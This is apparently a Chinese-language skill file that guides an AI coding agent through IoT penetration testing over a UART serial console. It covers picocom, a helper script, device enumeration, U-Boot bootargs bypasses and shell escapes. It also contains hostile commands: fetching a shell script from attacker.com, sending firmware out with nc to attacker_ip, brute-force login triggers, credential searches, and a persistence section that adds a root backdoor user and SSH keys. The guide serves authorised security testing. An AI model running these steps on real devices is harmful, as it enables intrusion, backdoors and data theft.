IoT UART 控制台 (picocom)
这项技能使得使用 picocom 与 IoT 设备 UART 控制台进行交互成为可能,用于安全测试和渗透测试操作。它支持引导程序交互、shell 访问(带或不带认证)、设备枚举和漏洞发现。
前提条件
- 系统上必须安装 picocom
- 需要 Python 3 和 pyserial 库(在 Arch 上使用
sudo pacman -S python-pyserial安装,或者使用pip install pyserial) - 需要 UART 连接到目标设备(USB 转串行适配器、FTDI 线缆等)
- 需要适当的权限来访问串行设备(通常是 /dev/ttyUSB* 或 /dev/ttyACM*)
推荐方法:串行助手脚本
重要:这项技能包括一个 Python 助手脚本(serial_helper.py),它为串行通信提供了一个清晰、可靠的接口。这是与 IoT 设备交互的推荐方法。
默认会话日志记录
Claude 运行的所有命令默认会记录到 /tmp/serial_session.log。
要实时观察 Claude 的操作:
# 在另一个终端运行:
tail -f /tmp/serial_session.log
这允许你在不干扰连接的情况下实时观看所有的串行 I/O。
为什么使用串行助手?
助手脚本解决了直接使用 picocom 的许多问题:
- 清晰的输出:自动移除命令回显、提示符和 ANSI 代码
- 提示符检测:自动检测并等待设备提示符
- 超时处理:适当的超时管理,没有任意的休眠
- 易于脚本化:简单的命令行界面,用于单个命令或批量操作
- 会话日志记录:所有 I/O 记录到
/tmp/serial_session.log以供观察 - 可靠:没有 TTY 要求或后台进程的问题
使用串行助手快速开始
单个命令:
python3 ./claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --command "help"
自定义提示符(对于已知设备推荐):
python3 ./claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --prompt "User@[^>]+>" --command "ifconfig"
交互模式:
python3 ./claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --interactive
从文件批量命令:
# 创建一个包含命令的文件(每行一个命令)
echo -e "help
date
ifconfig
ps" > commands.txt
python3 ./claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --script commands.txt
JSON 输出(用于解析):
python3 ./claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --command "help" --json
调试模式:
python3 ./claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --command "help" --debug
会话日志记录(用于观察):
# 终端 1 - 运行时记录日志
python3 ./claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--prompt "User@[^>]+>" \
--logfile /tmp/session.log \
--interactive
# 终端 2 - 实时观察会话
tail -f /tmp/session.log
注意: 见 OBSERVING_SESSIONS.md 了解有关监控串行会话的全面指南。
监控模式(被动监听)
新特性:监控模式旨在被动地监听 UART,设备在没有提示符或交互的情况下输出日志。
用例:
- 监控没有交互式控制台的设备的启动日志
- 在执行外部操作时捕获触发的输出
- 测试网络请求或硬件事件是否生成 UART 日志
- 基线与触发输出比较
基本被动监控:
python3 ./claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--monitor \
--duration 30 \
--logfile /tmp/uart.log
带外部触发脚本的监控:
# 在 5 秒后运行外部脚本并捕获触发的 UART 输出
python3 ./claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--monitor \
--duration 60 \
--trigger-script "python3 /path/to/test_script.py" \
--trigger-delay 5 \
--logfile /tmp/triggered_uart.log
带基线捕获的监控:
# 捕获 10s 基线,15s 时运行触发,总共持续 60s
python3 ./claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--monitor \
--duration 60 \
--trigger-script "curl http://192.168.1.100/api/reboot" \
--trigger-delay 15 \
--baseline-duration 10 \
--logfile /tmp/reboot_monitor.log
监控模式选项:
--duration SECONDS- 总监控时间(默认:30)--trigger-script CMD- 在监控期间运行的外部命令/脚本--trigger-delay SECONDS- 运行触发前的时间(默认:5)--baseline-duration SECONDS- 触发前捕获基线的时间(默认:0)--logfile FILE- 将所有 I/O 记录到文件--json- 以 JSON 格式输出结果
输出包括:
- 实时带时间戳的控制台输出
- 基线 vs 触发 vs 触发后分类
- 触发脚本退出代码和输出
- 摘要统计(每个阶段捕获的字节数)
- 带有所有捕获数据的时间线
串行助手选项
必需(以下之一):
--command, -c CMD 执行单个命令
--interactive, -i 进入交互模式
--script, -s FILE 从文件执行命令
--monitor, -m 被动监控模式(仅监听,不执行命令)
连接选项:
--device, -d DEV 串行设备(默认:/dev/ttyUSB0)
--baud, -b RATE 波特率(默认:115200)
--timeout, -t SECONDS 命令超时(默认:3.0)
--prompt, -p PATTERN 自定义提示符正则表达式模式
--at-mode, -a AT 命令模式,用于蜂窝/卫星调制解调器
监控模式选项:
--duration SECONDS 监控持续时间(默认:30.0)
--trigger-script CMD 监控期间运行的外部脚本/命令
--trigger-delay SECONDS 运行触发前的时间(默认:5.0)
--baseline-duration SEC 基线捕获持续时间(默认:0.0)
输出选项:
--raw, -r 不清理输出(显示回显、提示符)
--json, -j 以 JSON 格式输出
--logfile, -l FILE 将所有 I/O 记录到文件(可以在另一个终端使用 tail -f)
--debug 显示调试信息
常见提示符模式
助手脚本包括常见的提示符模式,但你可以指定自定义的:
# Uniview 摄像机
--prompt "User@[^>]+>"
# 标准 root/user 提示符
--prompt "[#\$]\s*$"
# U-Boot 引导程序
--prompt "=>\s*$"
# 自定义设备
--prompt "MyDevice>"
AT 命令模式(蜂窝/卫星调制解调器)
重要:与 AT 命令接口(蜂窝调制解调器、卫星调制解调器、GPS 模块)交互时,使用 --at-mode 标志。AT 接口不使用 shell 提示符 - 它们用 OK、ERROR 或特定的结果代码响应。
何时使用 AT 模式:
- 蜂窝调制解调器(Quectel、Sierra Wireless、u-blox、SIMCom、Telit)
- 卫星调制解调器(Iridium、Globalstar)
- 带有 AT 接口的 GPS 模块
- 任何用 OK/ERROR 响应 AT 命令的设备
基本 AT 命令使用:
# 单个 AT 命令
python3 ./claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--at-mode \
--command "AT" \
--logfile /tmp/serial_session.log
# 获取调制解调器信息
python3 ./claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--at-mode \
--command "ATI" \
--logfile /tmp/serial_session.log
# 获取 IMEI
python3 ./claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--at-mode \
--command "AT+CGSN" \
--logfile /tmp/serial_session.log
AT 模式枚举示例:
HELPER="python3 ./claude/skills/picocom/serial_helper.py"
DEVICE="/dev/ttyUSB0"
LOGFILE="/tmp/serial_session.log"
# 基本连接测试
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "AT"
# 设备识别
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "ATI"
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "AT+CGMI"
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "AT+CGMM"
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "AT+CGMR"
# SIM 和网络信息
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "AT+CGSN"
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "AT+CIMI"
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "AT+CCID"
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "AT+CSQ"
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "AT+CREG?"
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "AT+COPS?"
批量 AT 命令来自文件:
# 创建 AT 命令脚本
cat > at_enum.txt << 'EOF'
AT
ATI
AT+CGMI
AT+CGMM
AT+CGMR
AT+CGSN
AT+CSQ
AT+CREG?
AT+COPS?
EOF
# 执行批量
python3 ./claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--at-mode \
--script at_enum.txt \
--logfile /tmp/serial_session.log
交互式 AT 会话:
python3 ./claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--at-mode \
--interactive \
--logfile /tmp/serial_session.log
AT 模式响应处理:
OK- 命令成功ERROR- 命令失败(通用)+CME ERROR: <code>- 移动设备错误,带有代码+CMS ERROR: <code>- 与 SMS 相关的错误,带有代码NO CARRIER- 连接丢失/失败CONNECT- 数据连接建立
针对渗透测试的常见 AT 命令类别:
# 网络和连接
AT+CGDCONT? # PDP 上下文(APN 设置)
AT+QIOPEN # 打开套接字(Quectel)
AT+QISTATE? # 套接字状态(Quectel)
# 设备管理
AT+CFUN? # 电话功能
AT+CPIN? # SIM PIN 状态
AT+CLCK # 设施锁(SIM 锁状态)
# 固件和更新
AT+CGMR # 固件版本
AT+QGMR # 扩展固件信息(Quectel)
# 调试/工程模式(可能暴露敏感信息)
AT+QENG # 工程模式(Quectel)
AT$QCPWD # 密码命令(Qualcomm)
使用串行助手进行设备枚举示例
这里是一个安全枚举设备的完整示例:
# 设置变量以方便使用
HELPER="python3 ./claude/skills/picocom/serial_helper.py"
DEVICE="/dev/ttyUSB0"
PROMPT="User@[^>]+>" # 根据你的设备进行调整
LOGFILE="/tmp/serial_session.log"
# 获取可用命令
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "help"
# 系统信息
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "date"
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "runtime"
# 网络配置
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "ifconfig"
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "route"
# 进程列表(可能需要更长的超时时间)
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --timeout 5 --command "ps"
# 文件系统探索
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "ls"
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "ls /etc"
# 设备标识符
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "getudid"
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "catmwarestate"
对于 CLAUDE 代码很重要:使用这项技能时,**总是包含 --logfile /tmp/serial_session.log 在每个命令中,以便用户可以使用 tail -f /tmp/serial_session.log 监控活动。
渗透测试用例:基于触发的 UART 分析
一个常见的 IoT 渗透测试场景:测试网络请求、API 调用或硬件事件是否触发 UART 上的调试输出。
示例:测试 API 请求是否生成 UART 日志
# 在发送网络请求的同时监控 UART
python3 ./claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--monitor \
--duration 30 \
--trigger-script "curl -X POST http://192.168.1.100/api/update" \
--trigger-delay 5 \
--logfile /tmp/api_test.log
# 查看 API 被调用时设备记录了什么
cat /tmp/api_test.log
示例:测试认证尝试
# 在登录尝试期间监控 UART
python3 ./claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--monitor \
--duration 45 \
--trigger-script "python3 brute_force_login.py" \
--trigger-delay 10 \
--baseline-duration 5 \
--logfile /tmp/auth_test.log \
--json > /tmp/auth_results.json
示例:启动序列分析
# 捕获设备启动日志(通过网络 API 重启)
python3 ./claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--monitor \
--duration 120 \
--trigger-script "curl http://192.168.1.100/api/reboot" \
--trigger-delay 5 \
--logfile /tmp/boot_sequence.log
为什么这对渗透测试有用:
- 设备经常在 UART 日志中泄露敏感信息(密码、密钥、路径)
- 调试输出可能揭示内部 API 端点或协议
- 错误消息可以暴露漏洞
- 启动日志显示安全启动状态、加载的模块和文件系统路径
- 认证尝试可能在明文中记录用户名/令牌
对于 CLAUDE 代码很重要:使用这项技能时,**总是包含 --logfile /tmp/serial_session.log 在每个命令中,以便用户可以使用 tail -f /tmp/serial_session.log 监控活动。
替代方案:直接使用 picocom(高级)
如果你需要直接访问 picocom(例如,在启动期间与引导程序交互),你可以直接使用 picocom。然而,这更复杂,容易出错。
指令
1. 连接设置
关键:picocom 运行在交互式模式,不能通过标准 stdin/stdout 管道控制。使用以下方法:
- 总是在后台 shell 中运行 picocom 使用
run_in_background: true - 监控输出 使用 BashOutput 工具读取响应
- 发送命令 使用
Ctrl-A Ctrl-S进入发送模式,或直接写入设备文件
默认连接命令:
picocom -b 115200 --nolock --omap crlf --echo /dev/ttyUSB0
默认值(除非另有说明):
- 波特率:115200(大多数 IoT 设备的常见设置)
- 设备:/dev/ttyUSB0(最常见的 USB 转串行适配器)
- 总是使用
--nolock:防止文件锁定问题,除非用户特别请求
其他波特率(如果 115200 不起作用):
- 57600
- 38400
- 19200
- 9600
- 230400(不常见,高速)
其他设备路径:
- /dev/ttyUSB0, /dev/ttyUSB1, /dev/ttyUSB2, …(USB 转串行适配器)
- /dev/ttyACM0, /dev/ttyACM1, …(USB CDC 设备)
- /dev/ttyS0, /dev/ttyS1, …(内置串行端口)
picocom 必备选项:
-b或--baud:设置波特率(默认使用 115200)--nolock:禁用文件锁定(总是使用,除非用户要求不使用)--omap crlf:将输出 CR 映射到 CRLF(有助于格式化)--echo:启用本地回显(看到你输入的内容)--logfile <file>:将所有会话输出记录到文件(推荐)-q或--quiet:抑制 picocom 状态消息--imap lfcrlf:在输入时将 LF 映射到 CRLF(有时需要)
2. 检测控制台状态
连接后,你需要确定设备处于什么状态:
a) 空白/无声控制台:
- 按 Enter 几次检查是否有提示符
- 尝试 Ctrl-C 以中断任何运行中的进程
- 如果仍然没有反应,设备可能处于引导程序等待状态 - 尝试空格键或其他引导程序中断键
b) 引导程序(U-Boot 等):
- 查找
U-Boot>、=>、uboot>、Boot>等提示符 - 引导程序通常有一个可以中断的倒计时
- 常见的中断键:空格、Enter、引导消息中提到的特定键
c) 登录提示符:
- 查找
login:或username:提示符 - 常见的 IoT 设备默认凭据:
- root / root
- admin / admin
- root /(无密码)
- admin / password
- 查阅制造商文档或在线数据库
d) Shell 访问:
- 你可能会直接掉入 root shell
- 查找
#、$、>或自定义提示符
2.1. BusyBox Shells(大多数 IoT 设备)
重要:绝大多数 IoT 设备使用 BusyBox,这是一个为嵌入式系统设计的轻量级 Unix 实用程序套件。BusyBox 提供了一个最小的 shell 环境,命令功能有限。
识别 BusyBox:
# 检查你使用的 shell
busybox
busybox --help
# 或检查符号链接
ls -la /bin/sh
# 通常显示:/bin/sh -> /bin/busybox
# 列出可用的 BusyBox 应用程序
busybox --list
BusyBox 限制:
- 许多标准 Linux 命令可能是简化版本
- 一些常见的标志/选项可能不可用
- 功能如标签补全可能有限或缺失
- 一些在完整 Linux 上有效的利用技术可能不适用
BusyBox 常用的命令:
# 核心实用程序(通常可用)
cat, ls, cd, pwd, echo, cp, mv, rm, mkdir, chmod, chown
ps, kill, top, free, df, mount, umount
grep, find, sed, awk(有限版本)
ifconfig, route, ping, netstat, telnet
vi(基本文本编辑器 - 无语法高亮)
# 检查可用内容
busybox --list | sort
ls /bin /sbin /usr/bin /usr/sbin
针对渗透测试的 BusyBox 特定考虑:
ps输出格式可能与标准 Linux 不同- 一些提权技术需要 BusyBox 中没有的命令
- 文件权限仍然有效(SUID、粘滞位等)
- 网络工具通常存在(telnet, wget, nc/netcat, ftpget)
- Python/Perl/Ruby 通常不可用(设备存储限制)
BusyBox 用于枚举的有用命令:
# 检查 BusyBox 版本(可能存在已知漏洞)
busybox | head -1
# 网络实用程序通常可用
nc -l -p 4444 # Netcat 监听器
wget http://attacker.com/shell.sh
ftpget server file
telnet 192.168.1.1
# httpd(web 服务器)通常包括
busybox httpd -p 8080 -h /tmp # 快速文件共享
参考文档:
3. 与控制台交互
向 picocom 发送命令:
由于 picocom 是交互式的,你有几个选项:
选项 A:直接写入设备文件
echo "command" > /dev/ttyUSB0
选项 B:使用 expect 或类似工具
expect -c "
spawn picocom -b 115200 --nolock /dev/ttyUSB0
send \"command\r\"
expect \"#\"
exit
"
选项 C:使用 screen 而不是 picocom(可能更容易脚本化)
screen /dev/ttyUSB0 115200
Picocom 键盘快捷键:
Ctrl-A Ctrl-X:退出 picocomCtrl-A Ctrl-Q:不重置退出Ctrl-A Ctrl-U:增加波特率Ctrl-A Ctrl-D:减少波特率Ctrl-A Ctrl-T:切换本地回显Ctrl-A Ctrl-S:发送文件(可以用来发送命令)
4. 设备枚举
一旦你有了 shell 访问权限,收集以下信息:
系统信息:
# 内核和系统信息
uname -a
cat /proc/version
cat /proc/cpuinfo
cat /proc/meminfo
# 分发/固件信息
cat /etc/issue
cat /etc/*release*
cat /etc/*version*
# 主机名和网络
hostname
cat /etc/hostname
ifconfig -a
ip addr show
cat /etc/network/interfaces
cat /etc/resolv.conf
# 挂载的文件系统
mount
cat /proc/mounts
df -h
# 运行中的进程
ps aux
ps -ef
top -b -n 1
用户和权限信息:
# 当前用户上下文
id
whoami
groups
# 用户账户
cat /etc/passwd
cat /etc/shadow # 如果可读 - 重大安全问题!
cat /etc/group
# Sudo/权限信息
sudo -l
cat /etc/sudoers
网络服务:
# 监听服务
netstat -tulpn
ss -tulpn
lsof -i
# 防火墙规则
iptables -L -n -v
cat /etc/iptables/*
有趣的文件和目录:
# 配置文件
ls -la /etc/
find /etc/ -type f -readable
# Web 服务器配置
ls -la /etc/nginx/
ls -la /etc/apache2/
ls -la /var/www/
# 凭证和密钥
find / -name "*.pem" 2>/dev/null
find / -name "*.key" 2>/dev/null
find / -name "*password*" 2>/dev/null
find / -name "*credential*" 2>/dev/null
grep -r "password" /etc/ 2>/dev/null
# SUID/SGID 二进制文件(提权向量)
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null
# 世界可写文件/目录
find / -perm -2 -type f 2>/dev/null
find / -perm -2 -type d 2>/dev/null
# 开发/调试工具
which gdb gcc python perl ruby tcpdump
ls /usr/bin/ /bin/ /sbin/ /usr/sbin/
5. 引导程序利用
如果你可以访问引导程序(U-Boot 等):
常见的 U-Boot 命令:
# 打印环境变量
printenv
# 修改启动参数(例如,init=/bin/sh 用于 root shell)
setenv bootargs "${bootargs} init=/bin/sh"
saveenv
boot
# 替代方案:单用户模式
setenv bootargs "${bootargs} single"
setenv bootargs "${bootargs} init=/bin/bash"
# 从网络(TFTP)启动以自定义固件
setenv serverip 192.168.1.100
setenv ipaddr 192.168.1.200
tftpboot 0x80000000 custom_image.bin
bootm 0x80000000
# 内存检查
md <address> # 内存显示
mm <address> # 内存修改
mw <address> <value> # 内存写入
# 闪存操作
erase <start> <end>
cp.b <source> <dest> <count>
# 其他有用命令
help
bdinfo # 板信息
version
reset
6. 提权(如果不是 root)
检查常见漏洞:
# 内核漏洞
uname -r # 检查内核版本以查找已知漏洞
# 检查可利用的服务
ps aux | grep root
# 可写的服务文件
find /etc/init.d/ -writable 2>/dev/null
find /lib/systemd/system/ -writable 2>/dev/null
# 定时任务
crontab -l
ls -la /etc/cron*
cat /etc/crontab
7. 持久性和进一步访问
建立额外的访问方法:
# 添加 SSH 访问
mkdir -p /root/.ssh
echo "your_ssh_public_key" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
chmod 700 /root/.ssh
# 启动 SSH 服务(如果不运行)
/etc/init.d/ssh start
# 或
/etc/init.d/sshd start
# 或
/etc/init.d/dropbear start # 常见于嵌入式设备
# 添加后门用户
echo "backdoor:x:0:0::/root:/bin/sh" >> /etc/passwd
passwd backdoor
# 添加到启动脚本
echo "/path/to/backdoor &" >> /etc/rc.local
8. 固件提取
离线分析提取固件:
# 查找 MTD 分区(在嵌入式设备上很常见)
cat /proc/mtd
cat /proc/partitions
# 转储闪存分区
dd if=/dev/mtd0 of=/tmp/bootloader.bin
dd if=/dev/mtd1 of=/tmp/kernel.bin
dd if=/dev/mtd2 of=/tmp/rootfs.bin
# 复制到外部存储或网络
# 如果网络可用:
nc attacker_ip 4444 < /tmp/rootfs.bin
# 如果 USB 存储可用:
mount /dev/sda1 /mnt
cp /tmp/*.bin /mnt/
umount /mnt
9. 清理和退出
退出 picocom:
- 按
Ctrl-A然后按Ctrl-X - 或者从另一个终端使用
killall picocom
如果需要杀死后台 shell:
- 使用 KillShell 工具和适当的 shell_id
常见 IoT 设备场景
场景 1:无需认证的 Shell
# 连接
picocom -b 115200 --nolock /dev/ttyUSB0
# 按 Enter,立即获得 root shell
# 枚举和利用
场景 2:密码保护的 Shell
# 连接并看到登录提示符
# 尝试默认凭据:
# - root/root
# - admin/admin
# - root/(无密码)
# 在线搜索设备特定的默认设置
场景 3:从引导程序到 Root Shell
# 中断启动倒计时(按空格/Enter)
# 获得 U-Boot 提示符
setenv bootargs "${bootargs} init=/bin/sh"
boot
# 无需认证即可获得 root shell
场景 4:有限的 Shell 逃逸
# 如果你得到一个有限的 shell:
# 尝试常见的逃逸技术:
echo $SHELL
/bin/sh
/bin/bash
vi # 然后 :!/bin/sh
less /etc/passwd # 然后 !/bin/sh
find / -exec /bin/sh \;
awk 'BEGIN {system("/bin/sh")}'
安全测试清单
- [ ] 识别设备和固件版本
- [ ] 检查默认凭据
- [ ] 枚举网络服务和开放端口
- [ ] 检查文件中的硬编码凭据
- [ ] 测试命令注入漏洞
- [ ] 检查文件权限(SUID、世界可写)
- [ ] 测试引导程序安全性(密码保护、命令限制)
- [ ] 检查已知 CVE 的过时软件
- [ ] 测试提权向量
- [ ] 提取固件进行离线分析
- [ ] 用截图/日志记录所有发现
最佳实践
- 总是记录你的会话:使用
--logfile session.log - 记录一切:记下命令、响应和发现
- 要有耐心:一些设备响应慢,可能需要时间
- 检查波特率:错误的波特率 = 乱码输出。如果你看到乱码文本,尝试常见的速率
- 研究设备:查找已知漏洞、默认凭据和常见问题
- 使用适当的授权:只在你拥有或有明确权限测试的设备上执行渗透测试
- 备份:如果可能,修改之前备份固件
- 小心引导程序:错误的引导程序命令可能会使设备变砖
故障排除
问题:乱码或奇怪的字符
- 解决方案:错误的波特率。尝试 115200、57600、38400、19200、9600
问题:根本没有输出
- 解决方案:检查物理连接,尝试按 Enter,检查设备是否已打开
问题:“设备忙” 或 “权限被拒绝”
- 解决方案:关闭其他使用串行端口的程序,检查用户权限(
sudo usermod -a -G dialout $USER)
问题:命令不显示回显
- 解决方案:使用
--echo标志启用本地回显,或在 picocom 中按Ctrl-A Ctrl-T
问题:错误的行结束(额外的行或没有换行)
- 解决方案:使用
--omap crlf或--imap lfcrlf选项
示例用法
# 基本连接(使用默认值)
picocom -b 115200 --nolock --echo --omap crlf /dev/ttyUSB0
# 带日志记录的连接
picocom -b 115200 --nolock --echo --logfile iot_pentest.log /dev/ttyUSB0
# 安静模式(抑制 picocom 消息)
picocom -b 115200 --nolock -q --echo /dev/ttyUSB0
# 在后台运行以进行脚本化交互
picocom -b 115200 --nolock /dev/ttyUSB0 &
# 然后使用 BashOutput 监控
参考资料
- picocom 文档
- U-Boot 文档
- IoT 渗透测试资源和漏洞数据库
- 设备特定文档和数据表